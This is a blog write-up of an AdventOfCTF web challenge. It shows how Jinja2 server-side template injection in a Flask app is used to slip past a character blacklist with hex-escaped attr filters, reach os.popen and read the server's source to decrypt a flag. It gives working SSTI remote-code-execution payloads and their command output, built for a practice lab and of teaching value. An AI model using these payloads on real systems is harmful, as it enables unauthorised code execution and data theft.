+++ author = "Maik de Kruif" title = "Challenge 17 - AdventOfCTF" date = 2021-01-06T22:51:23+01:00 description = "A writeup for challenge 17 of AdventOfCTF." cover = "img/adventofctf/8717d728f2de96beb8123c0cca28a728.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "python", "flask", ] categories = [ "ctf", "writeups", "hacking", ] +++ - Points: 1700 ## Description Santa has launched version 2 of the Emoji finder! Some people were able to find the flag in the 1st version, that will not happen again! Visit to start the challenge. ## Recon Upon opening the challenge website we're greeted with some text and an input field. The text says the following: "Santa likes emojis! Enter one to find out what it means. Try 'santa' for instance.". If we then enter 'santa' in the input field and press the search button, we get a santa emoji: 🎅. When opening the source of the page we also find the following comment: "Here is a cheatsheet of the emojis you can use: " and some javascript: ```js function send() { let emoji = $("#emoji")[0].value; if (emoji.length > 0) { $.post("/", { emoji: emoji }, function (data) { $("#msg")[0].innerHTML = "" + data + ""; }); } } ``` ## Finding the vulnerability The description makes a reference to [yesterday's challenge]({{% ref "posts/adventofctf/challenge_16.md" %}}) so we probably have to use the same concept. Let's verify it by trying the following input: `{{7*7}}`. It returned `49` so we can continue with the next step. ## Exploit Just like [yesterday's challenge]({{% ref "posts/adventofctf/challenge_16.md" %}}), we start by trying to get the config like so: `{{config.items()}}`. Sadly, we get an error message: "You entered an emoji that is on my deny list". ### Blacklist As it turns out, this challenge has a blacklist on the input. Let's first test what is and what isn't allowed. We can do this by just trying some characters: `{{7*7}}` -> `49` `{{7*'7'}}` -> deny list `{{7*"7"}}` -> `7777777` `{{7*"_"}}` -> deny list `{{7*"confi"}}` -> `conficonficonficonficonficonficonfi` `{{7*"config"}}` -> deny list `{{7*"."}}` -> deny list Blacklist: `'`, `_`, `config`, `.` ### Getting the config As "config" is blacklisted, we have to come up with another way to access it. Luckily there is a fairly straightforward way to get it as `config` is saved in `context`. And, in jinja2, `self` in a template refers to `context`. This means we can get it by reading `self.__dict__`. We cannot do this directly however, as dots and underscores are blacklisted. Luckily, jinja2 has some [built-in filters](https://jinja.palletsprojects.com/en/master/templates/#builtin-filters) like `attr` that allow us to get attributes from a variable. This works by piping a variable into a filter like so `{{self|attr("")}}`. This string passed to `attr` is the attribute we want. We can't just fill in `__dict__` however, because of the blacklist. But, because we pass the attribute as a string, we can use it's hexadecimal ASCII value like so: `\x5f`. The resulting input is the following: `{{self|attr("\x5f\x5fdict\x5f\x5f")}}`. ```yml { '_TemplateReference__context': , 'dict': , 'lipsum': , 'cycler': , 'joiner': , 'namespace': , 'url_for': , 'get_flashed_messages': , 'config': , 'request': , 'session': , 'g': } of None> } ``` _Note: be sure to use double-quotes (`"`) as the single ones are blacklisted._ Here we find an encrypted flag again: `'flag': "C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F"` ## Decrypting the flag Just like [yesterday's challenge]({{% ref "posts/adventofctf/challenge_16.md" %}}), the flag is encrypted and we probably have to get the source again to get the key used to encrypt the flag. To get the source we first need arbitrary code execution. ### Arbitrary Code Execution (ACE) Unfortunately, we cannot grab the `os` module using the same method as yesterday as it requirers the config class and we cannot easily get it. This means we have to find another way. Another common trick to get the code execution is by having a look at the subclasses of the `object` class. We can get it by taking the following path: `''.__class__.__mro__[1].__subclasses__()`. This gets the class of `string`, reads it superclasses by getting `__mro__`, gets the `object` class from index `1` and then reads its superclasses by using the `__subclasses__()` method. To get the subclasses, we first have to convert `''.__class__.__mro__[1].__subclasses__()` to an acceptable input. This becomes: ```text {{ [""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")() }} ``` After submitting this, we get the following result: {{< code language="text" title="Result" >}} ```js [ , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` {{< /code >}} In this result we find the following class: ``. This is the `os` module and it is on index `127`. We can verify it's index by getting it from the submodules list using the following input: ```text {{ [[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127] }} ``` This should return ``. ### Grabbing the file Now that we've got the `os` module, we can use it's `popen` function to execute commands. Let's try to list the work directory using the following input: ```text {{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("ls -lA")|attr("read")() }} ``` It worked! We got the following result: ```text total 28 dr-xr-xr-x 1 app app 4096 Nov 28 14:15 __pycache__ -r--r--r-- 1 app app 1571 Nov 28 14:15 app.py -r--r--r-- 1 app app 93 Nov 28 14:15 requirements.txt -r-xr-xr-x 1 app app 26 Nov 28 14:15 serve.sh dr-xr-xr-x 1 app app 4096 Nov 28 14:15 static -rw-r--r-- 1 root root 2 Dec 2 13:53 supervisord.pid dr-xr-xr-x 1 app app 4096 Nov 28 14:15 templates ``` Now let's grab the contents of `app.py`: ```text {{ [[[""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")][0][1]|attr("\x5f\x5fsubclasses\x5f\x5f")()][0][127]|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")][0]["popen"]("cat app\x2epy")|attr("read")() }} ``` {{< code language="python" title="app.py" >}} ```py import random from flask import Flask, render_template_string, render_template, request import os import emojis app = Flask(__name__) app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl' def magic(flag, key): return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[x]) ^ ord(key[::-1][x])) for x in range(len(flag))) file = open("/tmp/flag.txt", "r") flag = file.read() app.config['flag'] = magic(flag, '46e505c983433b7c8eefb953d3ffcd196a08bbf9') flag = "" os.remove("/tmp/flag.txt") @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': emoji="unknown" try: p = request.values.get('emoji') if p != None: emoji = emojis.db.get_emoji_by_alias(p) except Exception as e: print(e) pass try: if emoji == None: if '.' in p or '_' in p or "'" in p or 'config' in p: return render_template_string("You entered an emoji that is on my deny list") else: return render_template_string("You entered an unknown emoji: %s" % p) else: return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases)) except Exception as e: print(e) return 'Exception' return render_template('index.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=8000) ``` {{< /code >}} ## Magic function Just like [yesterday]({{% ref "posts/adventofctf/challenge_16.md" %}}), we find a magic function. It looks like it's the same just with a different key so let's decrypt it using the new key (`46e505c983433b7c8eefb953d3ffcd196a08bbf9`): ```text Python 3.6.9 (default, Nov 7 2019, 10:44:02) [GCC 8.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> def magic(flag, key): ... return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag))) ... >>> magic("C\x1eS\x1dwsef}j\x057i\x7fo{D)'dO,+sutm3F", "46e505c983433b7c8eefb953d3ffcd196 a08bbf9") 'NOVI{santa_l0ves_his_emojis}\n' >>> ``` ## Solution We got the flag! It is `NOVI{santa_l0ves_his_emojis}`. This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#17-18).